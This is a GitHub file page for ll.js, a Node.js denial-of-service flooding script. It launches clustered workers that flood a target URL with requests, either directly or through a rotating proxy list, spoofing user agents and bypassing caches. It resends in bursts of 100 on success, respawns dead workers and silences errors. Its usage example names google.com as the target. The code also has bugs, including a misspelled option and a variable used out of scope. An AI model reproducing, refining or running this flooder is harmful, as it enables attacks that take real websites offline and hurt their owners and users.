-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathll.js
116 lines (113 loc) · 3.77 KB
/
ll.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
require('events').EventEmitter.defaultMaxListeners = 0;
const request = require('request')
const fakeUa = require('fake-useragent')
const fs = require('fs')
const cluster = require('cluster')
async function mainprocess(){
if (process.argv.length != 6){
console.log("USAGE : node bypass.js url thread time raw/proxy.txt")
console.log(`
▄▀▀█▄▄▄▄ ▄▀▀█▄▄▄▄ ▄▀▀▀▀▄
▐ ▄▀ ▐ ▐ ▄▀ ▐ █ █ ▐
█▄▄▄▄▄ █▄▄▄▄▄ ▀▄
█ ▌ █ ▌ ▀▄ █
▄▀▄▄▄▄ ▄▀▄▄▄▄ █▀▀▀
█ ▐ █ ▐ ▐
▐ ▐
`)
console.log("EXEMP: node uam.js https://google.com 10 1000 raw/proxy.txt")
process.exit()
}
else{
Array.prototype.remove_by_value = function(val) {
for (var i = 0; i < this.length; i++) {
if (this[i] === val) {
this.splice(i, 1);
i--;
}
}
return this;
}
if (process.argv[5]=='raw'){
console.log('ATTACK RAW')
}
else{
console.log("ATTACK PROXY")
}
function run(){
if (process.argv[5] == 'raw'){
var http={
url:process.argv[2],
medthod:'get',
headers:{
'user-agent':fakeUa(),
'Cache-Control': 'no-cache'
}
}
request(http,function(e,r){
console.log(r.statusCode,r.statusMessage)
})
if (r.statusCode > 226){
for (let q=0;q<100;q++){
request(http)}
}
}
else if(process.argv[5] == process.argv[5]){
var proxies = fs.readFileSync(process.argv[5], 'utf-8').replace(/\r/g, '').split('\n');
var proxy = proxies[Math.floor(Math.random()* proxies.length)]
proxyrequests = request.defaults({'proxy':'http://'+proxy})
var config={
url:process.argv[2],
medthod:'get',
headers:{
'user-agent':fakeUa(),
'Cache-Control': 'no-cache'
}
}
proxyrequests(config,function(e,r){
console.log(r.statusCode,r.statusMessage)
if (proxies.length == 0){
process.exit(0)
}
if (r.statusCode >= 200 && r.statusCode <= 226 ){
for (let i=0;i<100;i++){
proxyrequests(config)
}
}
else{
proxies = proxies.remove_by_value(proxy)
}
})
}
}
}
function thread(){
setInterval(()=>{
run()
})
}
async function main(){
if (cluster.isMaster){
for (let i=0;i<process.argv[3];i++){
cluster.fork()
console.log("CREAT BY EES !! ")
}
cluster.on("exit",function(){
cluster.fork()
})
}
else{
thread()
}
}
main()
}
process.on('uncaughtException', function (err) {
});
process.on('unhandledRejection', function (err) {
});
setTimeout(()=>{
console.log("ATTACK TIME OUT !!!")
process.exit()
},process.argv[4] * 1000)
mainprocess()